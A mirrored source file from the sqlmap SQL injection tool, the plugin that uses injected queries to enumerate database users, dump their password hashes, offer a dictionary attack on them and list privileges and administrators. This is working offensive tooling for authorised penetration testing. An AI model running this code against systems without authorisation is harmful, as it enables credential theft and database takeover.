mirror of
https://github.com/sqlmapproject/sqlmap.git
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647 lines
27 KiB
Python
647 lines
27 KiB
Python
#!/usr/bin/env python2
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"""
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Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import re
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from lib.core.agent import agent
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from lib.core.common import arrayizeValue
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from lib.core.common import Backend
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from lib.core.common import filterPairValues
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from lib.core.common import getLimitRange
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from lib.core.common import getUnicode
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from lib.core.common import isAdminFromPrivileges
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from lib.core.common import isInferenceAvailable
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from lib.core.common import isNoneValue
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from lib.core.common import isNumPosStrValue
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from lib.core.common import isTechniqueAvailable
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from lib.core.common import parsePasswordHash
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from lib.core.common import readInput
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from lib.core.common import unArrayizeValue
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from lib.core.compat import xrange
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from lib.core.convert import hexencode
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.dicts import DB2_PRIVS
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from lib.core.dicts import FIREBIRD_PRIVS
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from lib.core.dicts import INFORMIX_PRIVS
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from lib.core.dicts import MYSQL_PRIVS
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from lib.core.dicts import PGSQL_PRIVS
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from lib.core.enums import CHARSET_TYPE
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from lib.core.enums import DBMS
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from lib.core.enums import EXPECTED
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from lib.core.enums import PAYLOAD
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from lib.core.exception import SqlmapNoneDataException
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from lib.core.exception import SqlmapUserQuitException
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from lib.core.threads import getCurrentThreadData
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from lib.request import inject
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from lib.utils.hash import attackCachedUsersPasswords
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from lib.utils.hash import storeHashesToFile
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from lib.utils.pivotdumptable import pivotDumpTable
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class Users:
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"""
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This class defines users' enumeration functionalities for plugins.
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"""
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def __init__(self):
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kb.data.currentUser = ""
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kb.data.isDba = None
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kb.data.cachedUsers = []
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kb.data.cachedUsersPasswords = {}
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kb.data.cachedUsersPrivileges = {}
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kb.data.cachedUsersRoles = {}
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def getCurrentUser(self):
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infoMsg = "fetching current user"
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logger.info(infoMsg)
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query = queries[Backend.getIdentifiedDbms()].current_user.query
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if not kb.data.currentUser:
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kb.data.currentUser = unArrayizeValue(inject.getValue(query))
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return kb.data.currentUser
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def isDba(self, user=None):
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infoMsg = "testing if current user is DBA"
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logger.info(infoMsg)
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if Backend.isDbms(DBMS.MYSQL):
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self.getCurrentUser()
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query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None)
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elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None:
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query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user
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else:
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query = queries[Backend.getIdentifiedDbms()].is_dba.query
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query = agent.forgeCaseStatement(query)
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kb.data.isDba = inject.checkBooleanExpression(query) or False
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return kb.data.isDba
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def getUsers(self):
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infoMsg = "fetching database users"
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logger.info(infoMsg)
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rootQuery = queries[Backend.getIdentifiedDbms()].users
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condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")))
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condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)
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if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
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if condition:
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query = rootQuery.inband.query2
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else:
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query = rootQuery.inband.query
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values = inject.getValue(query, blind=False, time=False)
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if not isNoneValue(values):
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kb.data.cachedUsers = []
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for value in arrayizeValue(values):
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value = unArrayizeValue(value)
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if not isNoneValue(value):
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kb.data.cachedUsers.append(value)
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if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct:
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infoMsg = "fetching number of database users"
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logger.info(infoMsg)
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if condition:
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query = rootQuery.blind.count2
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else:
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query = rootQuery.blind.count
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count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
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if count == 0:
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return kb.data.cachedUsers
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elif not isNumPosStrValue(count):
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errMsg = "unable to retrieve the number of database users"
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raise SqlmapNoneDataException(errMsg)
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plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
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indexRange = getLimitRange(count, plusOne=plusOne)
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for index in indexRange:
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if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
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query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
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elif condition:
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query = rootQuery.blind.query2 % index
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else:
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query = rootQuery.blind.query % index
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user = unArrayizeValue(inject.getValue(query, union=False, error=False))
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if user:
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kb.data.cachedUsers.append(user)
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if not kb.data.cachedUsers:
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errMsg = "unable to retrieve the database users"
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logger.error(errMsg)
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return kb.data.cachedUsers
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def getPasswordHashes(self):
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infoMsg = "fetching database users password hashes"
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rootQuery = queries[Backend.getIdentifiedDbms()].passwords
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if conf.user == "CU":
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infoMsg += " for current user"
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conf.user = self.getCurrentUser()
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logger.info(infoMsg)
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if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
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conf.user = conf.user.upper()
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if conf.user:
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users = conf.user.split(',')
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if Backend.isDbms(DBMS.MYSQL):
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for user in users:
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parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
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if parsedUser:
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users[users.index(user)] = parsedUser.groups()[0]
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else:
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users = []
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users = [_ for _ in users if _]
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if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
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if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
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query = rootQuery.inband.query2
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else:
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query = rootQuery.inband.query
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condition = rootQuery.inband.condition
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if conf.user:
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query += " WHERE "
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query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
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if Backend.isDbms(DBMS.SYBASE):
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getCurrentThreadData().disableStdOut = True
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retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False)
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if retVal:
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for user, password in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
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if user not in kb.data.cachedUsersPasswords:
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kb.data.cachedUsersPasswords[user] = [password]
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else:
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kb.data.cachedUsersPasswords[user].append(password)
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getCurrentThreadData().disableStdOut = False
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else:
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values = inject.getValue(query, blind=False, time=False)
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if isNoneValue(values) and Backend.isDbms(DBMS.MSSQL):
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values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False)
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for user, password in filterPairValues(values):
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if not user or user == " ":
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continue
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password = parsePasswordHash(password)
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if user not in kb.data.cachedUsersPasswords:
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kb.data.cachedUsersPasswords[user] = [password]
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else:
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kb.data.cachedUsersPasswords[user].append(password)
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if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
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fallback = False
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if not len(users):
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users = self.getUsers()
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if Backend.isDbms(DBMS.MYSQL):
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for user in users:
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parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
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if parsedUser:
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users[users.index(user)] = parsedUser.groups()[0]
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if Backend.isDbms(DBMS.SYBASE):
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getCurrentThreadData().disableStdOut = True
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query = rootQuery.inband.query
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retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True)
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if retVal:
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for user, password in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
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password = "0x%s" % hexencode(password, conf.encoding).upper()
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if user not in kb.data.cachedUsersPasswords:
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kb.data.cachedUsersPasswords[user] = [password]
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else:
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kb.data.cachedUsersPasswords[user].append(password)
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getCurrentThreadData().disableStdOut = False
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else:
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retrievedUsers = set()
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for user in users:
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user = unArrayizeValue(user)
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if user in retrievedUsers:
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continue
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if Backend.isDbms(DBMS.INFORMIX):
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count = 1
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else:
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infoMsg = "fetching number of password hashes "
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infoMsg += "for user '%s'" % user
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logger.info(infoMsg)
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if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
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query = rootQuery.blind.count2 % user
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else:
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query = rootQuery.blind.count % user
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count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
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if not isNumPosStrValue(count) and Backend.isDbms(DBMS.MSSQL):
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fallback = True
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count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
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if not isNumPosStrValue(count):
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warnMsg = "unable to retrieve the number of password "
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warnMsg += "hashes for user '%s'" % user
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logger.warn(warnMsg)
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continue
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infoMsg = "fetching password hashes for user '%s'" % user
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logger.info(infoMsg)
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passwords = []
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plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
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indexRange = getLimitRange(count, plusOne=plusOne)
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for index in indexRange:
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if Backend.isDbms(DBMS.MSSQL):
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if Backend.isVersionWithin(("2005", "2008")):
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query = rootQuery.blind.query2 % (user, index, user)
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else:
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query = rootQuery.blind.query % (user, index, user)
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if fallback:
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query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr")
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elif Backend.isDbms(DBMS.INFORMIX):
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query = rootQuery.blind.query % (user,)
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elif Backend.isDbms(DBMS.HSQLDB):
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query = rootQuery.blind.query % (index, user)
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else:
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query = rootQuery.blind.query % (user, index)
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password = unArrayizeValue(inject.getValue(query, union=False, error=False))
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password = parsePasswordHash(password)
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passwords.append(password)
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if passwords:
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kb.data.cachedUsersPasswords[user] = passwords
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else:
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warnMsg = "unable to retrieve the password "
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warnMsg += "hashes for user '%s'" % user
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logger.warn(warnMsg)
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retrievedUsers.add(user)
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if not kb.data.cachedUsersPasswords:
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errMsg = "unable to retrieve the password hashes for the "
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errMsg += "database users (probably because the DBMS "
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errMsg += "current user has no read privileges over the relevant "
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errMsg += "system database table(s))"
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logger.error(errMsg)
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else:
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for user in kb.data.cachedUsersPasswords:
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kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))
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storeHashesToFile(kb.data.cachedUsersPasswords)
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message = "do you want to perform a dictionary-based attack "
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message += "against retrieved password hashes? [Y/n/q]"
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choice = readInput(message, default='Y').upper()
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if choice == 'N':
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pass
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elif choice == 'Q':
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raise SqlmapUserQuitException
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else:
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attackCachedUsersPasswords()
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return kb.data.cachedUsersPasswords
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def getPrivileges(self, query2=False):
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infoMsg = "fetching database users privileges"
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rootQuery = queries[Backend.getIdentifiedDbms()].privileges
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if conf.user == "CU":
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infoMsg += " for current user"
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conf.user = self.getCurrentUser()
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logger.info(infoMsg)
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if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
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conf.user = conf.user.upper()
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if conf.user:
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users = conf.user.split(',')
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if Backend.isDbms(DBMS.MYSQL):
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for user in users:
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parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
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if parsedUser:
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users[users.index(user)] = parsedUser.groups()[0]
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else:
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users = []
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users = [_ for _ in users if _]
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# Set containing the list of DBMS administrators
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areAdmins = set()
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if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
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if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
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query = rootQuery.inband.query2
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condition = rootQuery.inband.condition2
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elif Backend.isDbms(DBMS.ORACLE) and query2:
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query = rootQuery.inband.query2
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condition = rootQuery.inband.condition2
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else:
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query = rootQuery.inband.query
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condition = rootQuery.inband.condition
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if conf.user:
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query += " WHERE "
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if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
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query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users))
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else:
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query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
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values = inject.getValue(query, blind=False, time=False)
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if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
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infoMsg = "trying with table USER_SYS_PRIVS"
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logger.info(infoMsg)
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return self.getPrivileges(query2=True)
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if not isNoneValue(values):
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for value in values:
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user = None
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privileges = set()
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for count in xrange(0, len(value or [])):
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# The first column is always the username
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if count == 0:
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user = value[count]
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# The other columns are the privileges
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else:
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privilege = value[count]
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if privilege is None:
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continue
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# In PostgreSQL we get 1 if the privilege is
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# True, 0 otherwise
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if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
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if int(privilege) == 1:
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privileges.add(PGSQL_PRIVS[count])
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# In MySQL >= 5.0 and Oracle we get the list
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# of privileges as string
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elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
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privileges.add(privilege)
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# In MySQL < 5.0 we get Y if the privilege is
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# True, N otherwise
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elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
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if privilege.upper() == "Y":
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privileges.add(MYSQL_PRIVS[count])
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# In Firebird we get one letter for each privilege
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elif Backend.isDbms(DBMS.FIREBIRD):
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if privilege.strip() in FIREBIRD_PRIVS:
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privileges.add(FIREBIRD_PRIVS[privilege.strip()])
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# In DB2 we get Y or G if the privilege is
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# True, N otherwise
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elif Backend.isDbms(DBMS.DB2):
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privs = privilege.split(',')
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privilege = privs[0]
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if len(privs) > 1:
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privs = privs[1]
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privs = list(privs.strip())
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i = 1
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for priv in privs:
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if priv.upper() in ("Y", "G"):
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for position, db2Priv in DB2_PRIVS.items():
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if position == i:
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privilege += ", " + db2Priv
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i += 1
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privileges.add(privilege)
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if user in kb.data.cachedUsersPrivileges:
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kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user]))
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else:
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kb.data.cachedUsersPrivileges[user] = list(privileges)
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if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
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if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
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conditionChar = "LIKE"
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else:
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conditionChar = "="
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if not len(users):
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users = self.getUsers()
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if Backend.isDbms(DBMS.MYSQL):
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for user in users:
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parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
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if parsedUser:
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users[users.index(user)] = parsedUser.groups()[0]
|
|
|
|
retrievedUsers = set()
|
|
|
|
for user in users:
|
|
outuser = user
|
|
if user in retrievedUsers:
|
|
continue
|
|
|
|
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
|
|
user = "%%%s%%" % user
|
|
|
|
if Backend.isDbms(DBMS.INFORMIX):
|
|
count = 1
|
|
else:
|
|
infoMsg = "fetching number of privileges "
|
|
infoMsg += "for user '%s'" % outuser
|
|
logger.info(infoMsg)
|
|
|
|
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
|
|
query = rootQuery.blind.count2 % user
|
|
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
|
|
query = rootQuery.blind.count % (conditionChar, user)
|
|
elif Backend.isDbms(DBMS.ORACLE) and query2:
|
|
query = rootQuery.blind.count2 % user
|
|
else:
|
|
query = rootQuery.blind.count % user
|
|
|
|
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
|
|
|
if not isNumPosStrValue(count):
|
|
if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
|
|
infoMsg = "trying with table USER_SYS_PRIVS"
|
|
logger.info(infoMsg)
|
|
|
|
return self.getPrivileges(query2=True)
|
|
|
|
warnMsg = "unable to retrieve the number of "
|
|
warnMsg += "privileges for user '%s'" % outuser
|
|
logger.warn(warnMsg)
|
|
continue
|
|
|
|
infoMsg = "fetching privileges for user '%s'" % outuser
|
|
logger.info(infoMsg)
|
|
|
|
privileges = set()
|
|
|
|
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
|
|
indexRange = getLimitRange(count, plusOne=plusOne)
|
|
|
|
for index in indexRange:
|
|
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
|
|
query = rootQuery.blind.query2 % (user, index)
|
|
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
|
|
query = rootQuery.blind.query % (conditionChar, user, index)
|
|
elif Backend.isDbms(DBMS.ORACLE) and query2:
|
|
query = rootQuery.blind.query2 % (user, index)
|
|
elif Backend.isDbms(DBMS.FIREBIRD):
|
|
query = rootQuery.blind.query % (index, user)
|
|
elif Backend.isDbms(DBMS.INFORMIX):
|
|
query = rootQuery.blind.query % (user,)
|
|
else:
|
|
query = rootQuery.blind.query % (user, index)
|
|
|
|
privilege = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
|
|
|
if privilege is None:
|
|
continue
|
|
|
|
# In PostgreSQL we get 1 if the privilege is True,
|
|
# 0 otherwise
|
|
if Backend.isDbms(DBMS.PGSQL) and ", " in privilege:
|
|
privilege = privilege.replace(", ", ',')
|
|
privs = privilege.split(',')
|
|
i = 1
|
|
|
|
for priv in privs:
|
|
if priv.isdigit() and int(priv) == 1:
|
|
for position, pgsqlPriv in PGSQL_PRIVS.items():
|
|
if position == i:
|
|
privileges.add(pgsqlPriv)
|
|
|
|
i += 1
|
|
|
|
# In MySQL >= 5.0 and Oracle we get the list
|
|
# of privileges as string
|
|
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
|
|
privileges.add(privilege)
|
|
|
|
# In MySQL < 5.0 we get Y if the privilege is
|
|
# True, N otherwise
|
|
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
|
|
privilege = privilege.replace(", ", ',')
|
|
privs = privilege.split(',')
|
|
i = 1
|
|
|
|
for priv in privs:
|
|
if priv.upper() == 'Y':
|
|
for position, mysqlPriv in MYSQL_PRIVS.items():
|
|
if position == i:
|
|
privileges.add(mysqlPriv)
|
|
|
|
i += 1
|
|
|
|
# In Firebird we get one letter for each privilege
|
|
elif Backend.isDbms(DBMS.FIREBIRD):
|
|
privileges.add(FIREBIRD_PRIVS[privilege.strip()])
|
|
|
|
# In Informix we get one letter for the highest privilege
|
|
elif Backend.isDbms(DBMS.INFORMIX):
|
|
privileges.add(INFORMIX_PRIVS[privilege.strip()])
|
|
|
|
# In DB2 we get Y or G if the privilege is
|
|
# True, N otherwise
|
|
elif Backend.isDbms(DBMS.DB2):
|
|
privs = privilege.split(',')
|
|
privilege = privs[0]
|
|
privs = privs[1]
|
|
privs = list(privs.strip())
|
|
i = 1
|
|
|
|
for priv in privs:
|
|
if priv.upper() in ('Y', 'G'):
|
|
for position, db2Priv in DB2_PRIVS.items():
|
|
if position == i:
|
|
privilege += ", " + db2Priv
|
|
|
|
i += 1
|
|
|
|
privileges.add(privilege)
|
|
|
|
# In MySQL < 5.0 we break the cycle after the first
|
|
# time we get the user's privileges otherwise we
|
|
# duplicate the same query
|
|
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
|
|
break
|
|
|
|
if privileges:
|
|
kb.data.cachedUsersPrivileges[user] = list(privileges)
|
|
else:
|
|
warnMsg = "unable to retrieve the privileges "
|
|
warnMsg += "for user '%s'" % outuser
|
|
logger.warn(warnMsg)
|
|
|
|
retrievedUsers.add(user)
|
|
|
|
if not kb.data.cachedUsersPrivileges:
|
|
errMsg = "unable to retrieve the privileges "
|
|
errMsg += "for the database users"
|
|
raise SqlmapNoneDataException(errMsg)
|
|
|
|
for user, privileges in kb.data.cachedUsersPrivileges.items():
|
|
if isAdminFromPrivileges(privileges):
|
|
areAdmins.add(user)
|
|
|
|
return (kb.data.cachedUsersPrivileges, areAdmins)
|
|
|
|
def getRoles(self, query2=False):
|
|
warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms()
|
|
warnMsg += "exist. sqlmap will enumerate privileges instead"
|
|
logger.warn(warnMsg)
|
|
|
|
return self.getPrivileges(query2)
|